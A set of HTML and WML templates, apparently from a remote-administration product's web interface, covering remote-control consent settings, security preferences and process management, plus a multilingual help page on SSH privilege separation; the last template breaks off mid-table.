<input type="checkbox" name="DisableWallpaper" value="1" <?checked DisableWallpaper = "1"?> <?disabled DisableWallpaper.LOCKED?> />&MSG.CONFIG.REMCTRL.DisableWallpaper&
<br />
<input type="checkbox" name="UseMirrorDriver" value="1" <?checked UseMirrorDriver = "1"?> <?disabled UseMirrorDriver.LOCKED?> />&MSG.CONFIG.REMCTRL.UseMirrorDriver&
</div>
</div>
<? endif ?>

<div>
<? if not ISUNIX ?>
<br />
<? endif ?>
<span class="subtitle">&MSG.CONFIG.TOOLKIT.GENERAL.INTERACTION&</span>
<div>
<table>
<? if not ISUNIX ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.BlockRemoteInput&</td>
<td><input type=radio name="BlockRemoteInput" value="1" <?checked BlockRemoteInput = "1"?> <?disabled BlockRemoteInput.LOCKED?>> &MSG.CONFIG.REMCTRL.HostSideUser&</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=radio name="BlockRemoteInput" value="0" <?checked BlockRemoteInput = "0"?> <?disabled BlockRemoteInput.LOCKED?>> &MSG.CONFIG.REMCTRL.RemoteSideUser&</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.CtrlAltDelHotkey&</td>
<td>
<select name="CtrlAltDelHotkey" <?disabled CtrlAltDelHotkey.LOCKED?>>
<option <?selected CtrlAltDelHotkey = "ctrl-alt-ins"?> value="ctrl-alt-ins"> &MSG.CONFIG.REMCTRL.CtrlAltIns&
<option <?selected CtrlAltDelHotkey = "ctrl-alt-f12"?> value="ctrl-alt-f12"> &MSG.CONFIG.REMCTRL.CtrlAltF12&
<option <?selected CtrlAltDelHotkey = "ctrl-alt-f1"?>  value="ctrl-alt-f1">  &MSG.CONFIG.REMCTRL.CtrlAltF1&
</select>
</td>
</tr>
<? endif ?>
<? if ISMAC ?>
<tr>
<td>&MSG.CONFIG.REMCTRL.PCMacKeyMap&</td>
<td>
<select name="PCMacKeyMap" <?disabled PCMacKeyMap.LOCKED?>>
<option <?selected PCMacKeyMap = "alt_to_alt"?> value="alt_to_alt"> &MSG.CONFIG.REMCTRL.AltToAlt&
<option <?selected PCMacKeyMap = "alt_to_cmd"?> value="alt_to_cmd"> &MSG.CONFIG.REMCTRL.AltToCmd&
</select>
</td>
</tr>
<? endif ?>
</table>
</div>
</div>

<div>
<br />
<span class="subtitle">&MSG.CONFIG.TOOLKIT.GENERAL.CONSENT&</span>
<div />
<input type="checkbox" name="AskForPermission" value="1" <?checked AskForPermission = "1"?> <?disabled DisableWallpaper.LOCKED?> />&MSG.CONFIG.REMCTRL.AskForPermission&
<br />
&MSG.CONFIG.REMCTRL.PermissionText&
<br />
<textarea rows="4" cols="38" name="PermissionText" <?if BRAND.LOGMEIN?><?disabled PermissionText.LOCKED?><?endif?>>&{XML}PermissionText&</textarea>
<table>
<tr>
<td>&MSG.CONFIG.REMCTRL.PermissionTimeout&</td>
<td><input type="text" name="PermissionTimeout" value="<?&PermissionTimeout _spn?>" <?disabled PermissionTimeout.LOCKED?>> (&MSG.SPNFMT&, &MSG.CONFIG.REMCTRL.PermissionTimeoutExplain&)</td>
</tr>
<tr>
<td>&MSG.CONFIG.REMCTRL.AskForPermissionDefault&</td>
<td><input type=radio name="AskForPermissionDefault" value="1" <?checked AskForPermissionDefault = "1"?> <?disabled AskForPermissionDefault.LOCKED?>> &MSG.CONFIG.REMCTRL.StartRemoteCtrl&</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type=radio name="AskForPermissionDefault" value="0" <?checked AskForPermissionDefault = "0"?> <?disabled AskForPermissionDefault.LOCKED?>> &MSG.CONFIG.REMCTRL.RejectRequest&</td>
</tr>
</table>
&MSG.CONFIG.REMCTRL.NeverWaitForConsent&
<br />
<input type="checkbox" name="FullCtrlBypassUsrPerm" value="1" <?checked FullCtrlBypassUsrPerm = "1"?> <?disabled FullCtrlBypassUsrPerm.LOCKED?> />&MSG.CONFIG.REMCTRL.FullCtrlBypassUsrPerm&
<? if not ISUNIX ?>
<br />
<input type="checkbox" name="AskForPermExcept" value="1" <?checked AskForPermExcept = "1"?> <?disabled AskForPermExcept.LOCKED?> />&MSG.CONFIG.REMCTRL.AskForPermExcept&
<? endif ?>
</div>
</div>
<? if not ISLINUX ?>
<div>
<br />
<span class="subtitle">&MSG.CONFIG.TOOLKIT.GENERAL.LOCKCOMPUTER&</span>
<div>
<input type="checkbox" name="LockConsoleAlways" value="1" <?checked LockConsoleAlways = "1"?> <?disabled LockConsoleAlways.LOCKED?> />&MSG.CONFIG.REMCTRL.LockConsoleAlways&
<br />
<input type="checkbox" name="LockConsole" value="1" <?checked LockConsole = "1"?> <?disabled LockConsole.LOCKED?> />&MSG.CONFIG.REMCTRL.LockConsole&
<br />
<input type="checkbox" name="LockConsoleTimeout" value="1" <?checked LockConsoleTimeout = "1"?> <?disabled LockConsoleTimeout.LOCKED?> />&MSG.CONFIG.REMCTRL.LockConsoleTimeout&
<br />
</div>
</div>
<? endif ?>
<h1>&MSG.CONFIG.APPEARANCE.TITLE&</h1>
<div>
<div>
<? if not ISUNIX ?>
<!--
<input type="checkbox" name="ShowWelcome" value="1" <?checked ShowWelcome = "1"?> <?disabled ShowWelcome.LOCKED?> />&MSG.CONFIG.TOOLKIT.GENERAL.SHOWWELCOME&
<br />
-->
<input type="checkbox" name="EnableSystray" value="1" <?checked EnableSystray = "1"?> <?disabled EnableSystray.LOCKED?> />&MSG.CONFIG.SYSTRAY.EnableSystray&
<br />
<? endif ?>
<input type="checkbox" name="KioskMode" value="1" <?checked KioskMode = "1"?> <?disabled KioskMode.LOCKED?> />&MSG.CONFIG.APPEARANCE.KioskMode&
<br />
&MSG.LOGIN.LANG&
<select id="lang" name="lang">
<option value="en" <?selected LANG="en"?>>English</option>
<option value="en-gb" <?selected LANG="en-gb"?>>English UK</option><!-- uk english -->
<option value="de" <?selected LANG="de"?>>Deutsch</option><!-- german -->
<option value="fr" <?selected LANG="fr"?>>Français</option><!-- french -->
<option value="es" <?selected LANG="es"?>>Español</option><!-- spanish -->
<option value="it" <?selected LANG="it"?>>Italiano</option><!-- italian -->
<option value="pt-br" <?selected LANG="pt-br"?>>Português (Br)</option><!-- portuguese (brazilian) -->
<option value="zh" <?selected LANG="zh"?>>中文(简体)</option><!-- chinese -->
<option value="ja" <?selected LANG="ja"?>>日本語</option><!-- japanese -->
<option value="ko" <?selected LANG="ko"?>>한국어</option><!-- korean -->
<option value="ru" <?selected LANG="ru"?>>Русский</option><!-- russian -->
<option value="hu" <?selected LANG="hu"?>>Magyar</option><!-- hungarian -->
<option value="nl" <?selected LANG="nl"?>>Nederlands</option><!-- dutch -->
</select>
<br />
&MSG.CONFIG.TOOLKIT.GENERAL.LANG.NOTE&
<?if not BRAND.LOGMEIN.FREE?>
<br />
<input type="checkbox" name="SimplifiedFMUI" value="1" <?checked SimplifiedFMUI = "1"?> <?disabled SimplifiedFMUI.LOCKED?> />&MSG.CONFIG.APPEARANCE.UseSimplifiedFM&
<?endif?>
</div>
</div>
<br />
<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if REQ.BACK?>
&nbsp;&nbsp;<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="window.location='$REQ.BACK$'">
<?endif?>
</form>

</div>
</body>
</html>
"prefsecurity.htmlx<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<style type="text/css">
.preferences { margin-left: 50px; }
.preferences div { margin-left: 30px; }
.preferences p { margin-left: 30px; }
</style>
</head>
<body>
<?
action "prefsecurity"
usemacro WINERRDLG()
?>
<div class="window">	
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("secure")?><span class="titleText">&MSG.CONFIG.TOOLKIT.SECURITY.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></span></div>
<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<a href="title.html?favname=%MSG.CONFIG.TOOLKIT.SECURITY.TITLE%&favicon=menu_pref.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<?endif?>

<form action="&TEMPLATE&" method="post" class="preferences">
<input type="hidden" name="op" value="update">
<?if REQ.BACK?>
<input type="hidden" name="back" value="&REQ.BACK&">
<?endif?>
<?if ACTIONS has "-cfgrsa-"?>
<h1>&MSG.CONFIG.PERMISSIONS.RSASECURID&</h1>
<div>
&MSG.CONFIG.TOOLKIT.SECURITY.RSASUBTITLE&
<br />
<input type="button" onclick="window.location='cfgrsa.html?back=$TEMPLATE$';" value="&MSG.CONFIG.TOOLKIT.SECURITY.CONFIGRSA&"/>
</div>
<?endif?>
<h1>&MSG.CONFIG.TOOLKIT.SECURITY.ACCESSCTRL&</h1>
<div>
<p>
&MSG.CONFIG.TOOLKIT.SECURITY.USERPERM&: &NUSERS&
<br />
<input type="button" onclick="window.location='cfgperm.html?back=$TEMPLATE$';" value="&MSG.INFO.LOCKOUT.SHOWDETAILS&..."/><!--&nbsp;&nbsp;&nbsp;<input type="button" value="MSG.CONFIG.TOOLKIT.SECURITY.DELETEALL"/>-->
<br />
<input type="checkbox" name="ADMINACC" value="1" <?checked ADMINACC = "1"?> <?disabled ADMINACC.LOCKED?>>&MSG.CONFIG.PERMISSIONS.ADMINACC&
<? if not ISUNIX ?>
<br />
<input type="checkbox" name="DONTLISTDOMAINS" value="1" <?checked DONTLISTDOMAINS = "1"?> <?disabled DONTLISTDOMAINS.LOCKED?>>&MSG.CONFIG.PERMISSIONS.DONTLISTDOMAINS&
<? endif ?>
</p>
</div>
<h1>&MSG.CONFIG.PPWD.TITLE&</h1>
<div>
<table>
<tr>
<td>&MSG.CONFIG.PPWD.PWDFIELD&</td>
<td><input type="password" value="<?if PPWDOK?>&INVALIDPASSWORD&<?endif?>" id="ppwd" name="ppwd" size="25" maxlength="15" /></td>
</tr>
<tr>
<td>&MSG.CONFIG.PPWD.CONFFIELD&</td>
<td><input type="password" value="<?if PPWDOK?>&INVALIDPASSWORD&<?endif?>" id="ppwdconfirm" name="ppwdconfirm" size="25" maxlength="15" /></td>
</tr>
</table>
<p><span>&MSG.CONFIG.PPWD.EXPLAIN&</span></p>
</div>
<h1>&MSG.CONFIG.TOOLKIT.SECURITY.INTCTRL&</h1>
<div>
<span>&MSG.CONFIG.TOOLKIT.SECURITY.IPFILTER&</span>
<p>
<select name="IPFilter" size="1">
<option value="">&CONFIG.NONE&
<?if IPFilters>0?>
<?enum IPFilters?>
<option &IPFilter.selected&>&IPFilter.Name&</option>
<?next?>
<?endif?>
</select>
<br />
<input type="button" onclick="window.location='cfgfilter.html';" value="&MSG.CONFIG.TOOLKIT.SECURITY.EDITFILTER&"/>
</p>
<input type="checkbox" name="DOSENABLED" value="1" <?checked DOSENABLED = "1"?> <?disabled DOSENABLED.LOCKED?>><span>&MSG.CONFIG.TOOLKIT.SECURITY.DOSBLOCKER&</span>
<p>
&MSG.CONFIG.TOOLKIT.SECURITY.IPBLOCKED&: <?if DOSBLOCKCOUNT > 0?>&DOSBLOCKCOUNT&<?else?>&CONFIG.NONE&<?endif?>
<br />
<input type="button" onclick="window.location='cfglockout.html?back=$TEMPLATE$';" value="&MSG.INFO.LOCKOUT.SHOWDETAILS&..."/><!--&nbsp;&nbsp;&nbsp;<input type="button" value="MSG.CONFIG.TOOLKIT.SECURITY.UNBLOCKALL"/>-->
</p>
<input type="checkbox" name="LOGONENABLED" value="1" <?checked LOGONENABLED = "1"?> <?disabled LOGONENABLED.LOCKED?>><span>&MSG.CONFIG.TOOLKIT.SECURITY.AABLOCKER&</span>
<p>
&MSG.CONFIG.TOOLKIT.SECURITY.IPBLOCKED&: <?if LOGONBLOCKCOUNT > 0?>&LOGONBLOCKCOUNT&<?else?>&CONFIG.NONE&<?endif?>
<br />
<input type="button" onclick="window.location='cfglockout.html?back=$TEMPLATE$';" value="&MSG.INFO.LOCKOUT.SHOWDETAILS&..."/><!--&nbsp;&nbsp;&nbsp;<input type="button" value="MSG.CONFIG.TOOLKIT.SECURITY.UNBLOCKALL"/>-->
</p>
</div>
<input type="submit" value="&MSG.DIALOG.APPLY&">
<?if REQ.BACK?>
&nbsp;&nbsp;<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="window.location='$REQ.BACK$'">
<?endif?>
</form>
</div>
</body>
</html>
privsep.html/1?<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("pref")?><span class="titleText">&CONFIG.SSH.TITLE&<?if MSG?> - &CONFIG.SSH:MSG&<?endif?></span></div>

<div align="justify" style="margin:20px">&nbsp;&nbsp;
<?switch LANG?>

<?case "de" // deutsch?>

<b>Privileg Separation in SSH</b><br>
<br>
Wenn ein Benutzer eine SSH Sitzung eröffnet und die Authentifizierung
erfolgreich ist, führt der Server Anwendungen (typischerweise Shell- Prozesse
wie etwa CMD.exe ) im Sicherheitskontext des Benutzers aus. Der Server muss mit
LOCALSYSTEM Privilegien arbeiten um auf die erforderlichen Ressourcen zugreifen
zu können, die für die Authentifizierung des Benutzers und seine Personifikation
durchzuführen.<br>
<br>
Hacker können erfolgreich in ein System einbrechen, wenn ein anonymer Benutzer
direkt mit Code kommunizieren kann, der mit den Rechten des Betriebssystems ausgestattet
ist.<br>
<br>
Privileg Separation wurde von der Unix Gemeinde geschaffen und mit der OpenSSH Version
3.2 eingeführt. Die Technologie wurde
entwickelt um anonyme Benutzer ( Clients) daran zu hindern, mit
hochprivilegierter Software Informationen austauschen zu können. Dies wird
erreicht, indem ein solcher Client mit Hilfe von zwei speziellen serverseitigen
Prozessen bedient wird: einem, der mit SYSTEM Privilegien ausgeführt wird und einem
zweiten, der praktisch ganz ohne Privilegien ausgeführt wird. Der zweite
Prozess wird automatisch von dem privilegierten Prozess erzeugt oder induziert,
der damit als "Elternprozess" oder übergeordneter Prozess in Erscheinung tritt.
Der unprivilegierte untergeordnete Prozess verarbeitet alle Netzwerksdaten den
Datenaustausch mit dem potentiell unsicherem Client ( ohne Vertrauensstellung).
Die Ausführung aller Aufgaben, die Privilegien erfordern, obliegt dem
übergeordneten Prozess, der über die Ausführung entscheidet und die Anfragen
über ein klar definiertes und einfaches Interface beantwortet. Auf diese Weise
müssen beide Seiten bestätigen dass sich der Client gültig ausweisen (Authentifizieren)
konnte, ehe ihm weiterer Zugriff gewährt wird. Und selbst wenn der
unprivilegierte untergeordnete Prozess vom Angreifer überlistet worden sein
sollte kann dieser dennoch nicht auf wichtige Informationen zugreifen oder
diese verändern.<br>
<br>
OpenSSH führt den unprivilegierten Prozess im Kontext eines speziellen Benutzerkontos
aus. Wenn Sie in RemotelyAnywhere SSH Privileg Separation aktivieren, wird
automatisch ein solch spezielles Benutzerkonto eröffnet und mit nur minimalen
Zugriffsrechten auf das Dateisystem und die Registry ausgestattet. Dieser
Prozess benötigt üblicherweise einige Minuten an Bearbeitungszeit, speziell bei
voluminösen Dateisystemen. Das Sonderkonto hat streng limitierte
Berechtigungen: Nur "ausführen" Berechtigungen im System32 Verzeichnis
und "lesen" Rechte für eine geringe Anzahl an Registry Einträgen. Diese
Berechtigungen werden von Windows gefordert um Software ausführen zu können.
Alle weiteren Zugriffsrechte werden dem Sonderkonto explizit verweigert.<br>
<br>
Das spezielle Benutzerkonto für die Privilege Separation wird unter dem Namen
<b>_RA_SSH_COMPUTERNAME
angelegt</b>. Dieses Konto wird durch RemotelyAnywhere verwaltet und darf in
all seinen Einstellungen nicht durch dritte verändert werden. Das Konto wird
mit "Gast" Privilegien angelegt und sein Passwort wird aus einer kryptischen
Zufallszeichenkette von einer Länge gebildet, die das Betriebssystem eben
zulässt. Das Benutzerkonto ist zunächst deaktiviert. Wenn RemotelyAnywhere eine
SSH Verbindung akzeptiert, wird das Passwort neu generiert, das Konto aktiviert,
der Benutzer angemeldet, speichert den Vektor auf das Zugriffsticket, setzt das
Passwort erneut zurück - und deaktiviert das Konto schließlich bis es wieder
gebraucht wird. <br>
<br>
<b><i>WARNUNG!</i></b><br>
<br>
Nur NTFS Dateisysteme erlauben das setzen der erforderlichen Berechtigungen. <br>
<br>
Wenn Sie auf Ihrem Computer ein neues NTFS Dateisystem anlegen gewährt Windows
der Gruppe "jeder" alle Zugriffrechte auf das Dateisystem und alle Inhalte. In
solchen Fällen empfehlen wir dringend die Anwendung der Funktion
"Berechtigungen überprüfen" auf der SSH Konfigurationsseite um die
Zugriffsberechtigungen auf Ihrem System korrekt zu setzen. <br>
<br>
Lokale oder Domänen Sicherheitsregeln können lokale Anmeldungen einschränken.
RemotelyAnywhere versucht explizit, dem Privilege Separation Benutzerkonto
lokale Anmeldeprivilegien unter den lokalen Sicherheitsrichtlinien zuzuweisen -
jedoch, wenn Domänenrichtlinien die lokalen Sicherheitsrichtlinien
überschreiben, kann es möglich sein, daß sich der _RA_SSH_COMPUTERNAME Benutzer
nicht anmelden kann. In solchen Fällen können Sie entweder die Privilege
Separation deaktivieren oder die Sicherheitsrichtlinien der Domäne überprüfen
und gegebenenfalls etwas weniger restriktiv gestalten. <br>

<?case "zh" // chinese?>

<b>SSH中的权限分离</b><br>
<br>
在一个用户建立了一个SSH会话后, 如果认证成功,服务器使用用户的安全上下文环境运行一个程序(典型的是一个shell进程,
比如 cmd.exe). 服务器需要使用本地系统权限运行程序以便访问在用户认证和环境中需要的资源,<br>
<br>
目前远程控制中一个重要的隐患在于允许一个匿名用户访问运行于操作系统本身权限下的代码.<br>
<br>
Unix系统商 OpenSSH 3.2 中已经率先实现了权限分离. 这项技术的主要目的用于防止匿名用户和高权限的程序交换信息.
实现方法是使用<i>两个服务端进程</i>服务一个客户. 一个运行系统权限,另外一个<i>没有权限</i>(比如,GUEST权限).
后面一个进程是被有权现的父进程自动产生的. 无权限客户进程处理所有的网络数据,掌握所有和不被信任的客户之间的通信. 它依赖于父进程执行需要权限的任务, 通过一个定义良好,实现简单的接口和这些请求进行通信. 这种方式下,两个服务器进程必须在客户可以得到访问之前得到认证, 即使没有权限的用户是安全的, <i>入侵者将无法再象过去那样得到访问权限,访问/修改服务器信</i>.<br>
<br>
OpenSSH 使用一个特殊的用户上下文环境运行无权限进程. 当你再 &PRODUCTNAME& 中开启了SSH权限分离, 该用户再自动创建,并且它在文件系统和注册信息中属于最小单位. 这一般需要几分钟, 尤其是在大文件系统中. 这个特殊用户只有非常有限的权限: 在 System32 中执行以及在注册信息中最小权限的读取. 这些权限是 Windows 执行程序的最小权限要求. 除此以外的其它权限对于这个特殊用户都被拒绝.<br>
<br>
权限分离的用户名是 <b>_RA_SSH_COMPUTERNAME</b>. 这个帐号被 &PRODUCTNAME& 维护,用户不应该修改该帐号的相关安全设置和组设置.
这个特殊用户的权限默认未 GUEST, 密码是一个尽可能长的被加密的随机字符. 该用户默认是被关闭的. 在 &PRODUCTNAME& 接受了一个SSH连接后,自动更改该帐号的密码,开启,记录该用户的活动日志信息,存储它的访问句柄,重置密码 -- 最后关闭这个帐号,直到再次需要.<br>
<br>
<b><i>警告!</i></b>	<br>
<br>
只有在 NTFS 文件系统上允许要求的访问权限设置.<br>
<br>
当你在电脑上安装一个新的硬盘时, Windows 给予 "everyone" 完全访问这个硬盘的权限,包括其中的子目录和内容. 在这种情况下,你需要使用SSH配置页中的 "检查权限" 功能设置正确的访问权限.<br>
<br>
本地或者域安全规则可能会限制本地登入. &PRODUCTNAME& 试图显示赋予权限分离用户本地登入时,使用本地安全规则. 然而, 如果域规则覆盖了本地安全规则,  _RA_SSH_COMPUTERNAME user 可能无法登入. 在这种情况下, 权限分离设置可能需要被关闭或者降低域安全规则.<br>

<?case default // english?>

<b>Privilege Separation in SSH</b><br>
<br>
When a user establishes an SSH session, and authentication succeeds, 
the server executes applications (typically a shell process such as cmd.exe) 
in the user's security context. The server needs to execute with LOCALSYSTEM
privileges to access resources required for user authentication and
impersonation,<br>
<br>
Allowing an anonymous user to directly communicate with code that runs with the
same permissions as the operating system itself is the primary reason remote
exploits exist.<br>
<br>
Privilege separation has been pioneered by the Unix community with the release
of OpenSSH 3.2. The main goal of this technology is to prevent anonymous
clients from exchanging information with highly privileged software. This is
achieved by serving a client with the help of <i>two server-side processes</i>:
one that runs with SYSTEM privileges, and another which has practically <i>no
privileges</i> (ie. GUEST privileges). The latter process is automatically
spawned by the privileged parent. The unprivileged child processes all network
data and handles communications with potentially untrusted clients. It relies
on the parent process to perform tasks that need privileges, and communicates
these requests through a well defined and very simple interface. This way both
sides must agree that the client has authenticated before it is granted further
access, and even if the unprivileged child is compromised, <i>the intruder
cannot gain access to, let alone modify, valuable information</i>.<br>
<br>
OpenSSH runs the unprivileged process in the context of a special user account.
When you enable SSH Privilege Separation in &PRODUCTNAME&, this user is
automatically created and its access rights are minimized on the file system
and the registry. This usually requires several minutes, especially on large
file systems. This special user has very limited rights: only "execute"
permissions in the System32 directory, and "read" rights to a minimum set of
registry entries. These permissions are required by Windows to execute any and
all software. All other access rights are explicitly denied for the special
user account.<br>
<br>
The Privilege Separation User is created under the name <b>_RA_SSH_COMPUTERNAME</b>.
It is maintained by &PRODUCTNAME& and you should not modify the account, its
group memberships or any other related security settings. This user is created
with GUEST privileges, its password is set to a cryptographically random string
that is as long as system policies allow. The user account is disabled by
default. When &PRODUCTNAME& accepts an SSH connection, it changes the user's
password, enables the account, logs the user in, stores it's access token
handle, resets the password again - and finally disables the user account until
it is needed again.<br>
<br>
<b><i>WARNING!</i></b><br>
<br>
Only NTFS file systems allow the required access rights to be set.<br>
<br>
When you install a new hard drive in your computer, Windows grants full access
to the "everyone" group to the new harddisk and all of its contents. On such
occasions you should use the "Check rights" feature on the SSH Configuration
page to set the correct access permissions on your system.<br>
<br>
Local or domain security policies might restrict local logins. &PRODUCTNAME&
attempts to explcitily grant the Privilege Separation User local login
privileges in the local security policy - however, if domain policies override
the local security policy, the _RA_SSH_COMPUTERNAME user might not be allowed to
log in. In this case, Privilege Separation should be disabled or the domain
security policy should be changed to be less restrictive.<br>

<?endswitch?>

</div>
<center><input type=button value="&DIALOG.BACK&" onclick="window.location='cfgssh.html'"></center>
<br>
</div>
</body>
</html>jproccreate.wml~e<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml> 
<card id="runproc" title="&SRVNAME&">
<?
if REQ.FILE
action "filerun"
if WINERRNUM?>
<p align="center">
<?&MSG.DIALOG.ERROR?>: <?&WINERRMSG?>
</p>
<?endif
else?>
<p align="center">
<b>Create Process</b>
</p>
<?endif?>

<p>
Executable Name:
<input type="text" format="*M" maxlength="30" size="20" name="exename" title="Executable Name:"/>
Optional Parameters:
<input type="text" format="*M" maxlength="30" size="20" name="parameters" title="Optional Parameters:"/>
</p>

<p align="center">
<anchor>Execute
<go href="&TEMPLATE&" method="get">
<postfield name="file" value="$(exename)"/>
<postfield name="args" value="$(parameters)"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
@eprocinfo.html#ۑ<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tabs.inc"?>
</head>

<?
defmacro PROCINFOBUTTONS()
?>
<input type="button" value="&DIALOG.Apply&" onclick="window.location='&TEMPLATE&?pid=&REQ.PID&&priority='+priority.options[priority.selectedIndex].value+'&cnt=<?&REQ.CNT?>'">
<input type="button" value="&DIALOG.Back&" onclick="window.location='<?if REQ.BACK?>$REQ.BACK$<?else?>proclist.html?cnt=<?&REQ.CNT?><?endif?>'">
<?
endmacro
?>

<body class="tabpage">
<?
if REQ.PRIORITY
// need to update priority class
action "procupd"
usemacro WINERRDLG()
endif
if REQ.CTRL = "kill" // need to kill process?
action "prockill"
usemacro WINERRDLG()
endif
action "procinfo" // get detailed process information
?>
<div class="tabwindow">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&PROC.NAME?></span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%PROC.NAME%&favicon=menu_manage.png&favargs=%TEMPLATE%%3Fproc=%PROC.NAME%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?pid=%PROC.ID%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="proclist.html?pid=%PROC.ID%&ctrl=kill&%RND%" onclick="return confirm('$MSG.ADMIN.PROCESS.KILLCONFIRM$')"><img src="img/ico_kill.gif" border="0" title="<?&ADMIN.PROCESS.KILL?>" ></a>
</div>
</div>

<?if WINERRNUM?>

<div class="tab-pane" id="tabPaneERR">
<script type="text/javascript">
var tperr = new RATabPane( document.getElementById( "tabPaneERR" ) );
</script>
<div class="tab-page" id="TabErr" style="text-align:left">
<h2 class="tab">&MSG.ADMIN.EVENTS.TYPE.ERROR&</h2>
<center>
<b>&MSG.ADMIN.EVENTS.TYPE.ERROR&:</b> &WINERRMSG&
<br>
<br>
<input type="button" value="&DIALOG.Back&" onclick="window.location='<?if REQ.BACK?>$REQ.BACK$<?else?>proclist.html?cnt=<?&REQ.CNT?><?endif?>'">
</center>
<br>
</div>

<?else?>

<!-- GENERAL -->
<div class="tab-pane" id="tabPane1">
<script type="text/javascript">
var tp1 = new RATabPane( document.getElementById( "tabPane1" ) );
</script>
<div class="tab-page" id="tabPage1" style="text-align:left">
<h2 class="tab"><?&GENERAL?></h2>
<center>
<table align="center" width="80%">
<tr><td align='right'><?&DESC?>:</td><td><font color="<?&COLOR.Link?>"><b><?&PROC.DESC?></b></font></td></tr>
<tr><td align='right'><?&VERSION?>:</td><td><?&PROC.VER?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PIDLONG?>:</td><td><?&PROC.ID?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PRIORCLASS?>:</td>
<td><select id="priority" name="priority">
<?enum PRIORITIES?><option value="&PRIORITY.VALUE&" <?selected PROC.PRIORITY=PRIORITY.VALUE?>><?&ADMIN.PROCESS.PRIOR:PRIORITY.VALUE?></option><?next?>
</select></td>
</tr>
<?if ISNT?><tr><td align='right'><?&TYPE?>:</td><td><?&PROC.TYPE?></td></tr><?endif?>
<?if PROC.USER?><tr><td align='right'><?&ADMIN.PROCESS.ACCOUNT?>:</td><td><?&PROC.USER?></td></tr><?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.PARENTID?>:</td><td><a href="&TEMPLATE&?pid=&PARENT.ID&&cnt=&REQ.CNT&"><?&PARENT.ID?></a></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PARENT?>:</td><td><?&PARENT.PATH?></td></tr>
<?if PROC.HANDLES?><tr><td align='right'><?&ADMIN.PROCESS.HANDLES?>:</td><td><?&PROC.HANDLES?></td></tr><?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.THREADS?>:</td><td><?&PROC.THREADS?></td></tr>
<?if ISNT?>
<tr><td align='right'><?&ADMIN.PROCESS.PFAULTS?>:</td><td><?&PROC.PGFAULTS?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PEAKWKSET?>:</td><td><?&PROC.WKSETMAX _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.WKSET?>:</td><td><?&PROC.WKSET _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PEAKMEM?>:</td><td><?&PROC.SWAPMAX _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.PAGEFILE?>:</td><td><?&PROC.SWAP _szk?></td></tr>
<tr><td align='right'><?&ADMIN.PROCESS.TOTALMEM?>:</td><td><?&PROC.MEMORY _szk?></td></tr>
<?endif?>
<tr><td align='right'><?&ADMIN.PROCESS.COMMAND?>:</td><td><?&PROC.PATH?></td></tr>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>

<!-- WINDOWS -->
<?if WINDOWS > 0?>
<div class="tab-page" id="tabPage2" style="text-align:left">
<h2 class="tab"><?&ADMIN.WINDOWS.TITLE?></h2>
<center>
<table class="inner"  align=center width="80%">
<tr><th colspan="3"><?&ADMIN.WINDOWS.TITLE?></th></tr>
<?enum WINDOWS?>
<tr>
<td align=center><?&WINDOW.THREAD?></td>
<td><?if WINDOW.TITLE?><?&WINDOW.TITLE?><?else?>&lt;<?&ADMIN.WINDOWS.notitle?>&gt;<?endif?></td>
<td><?if WINDOW.VISIBLE?><?&ADMIN.WINDOWS.visible?><?else?><?&ADMIN.WINDOWS.hidden?><?endif?></td>
</tr>
<?next?>
</table>
<br>
<? usemacro PROCINFOBUTTONS() ?>
<br>
</center>
</div>
<?endif?>

<!-- THREADS -->
<?if THREADS > 0?>
<div class="tab-page" id="tabPage3" style="text-align:left">
<h2 class="tab"><?&ADMIN.PROCESS.THREADS?></h2>
<center>
<table class="inner"  align=center>
<tr><th colspan="10" align=center><?&ADMIN.PROCESS.THREADS?></th></tr>
<tr class="ttd">
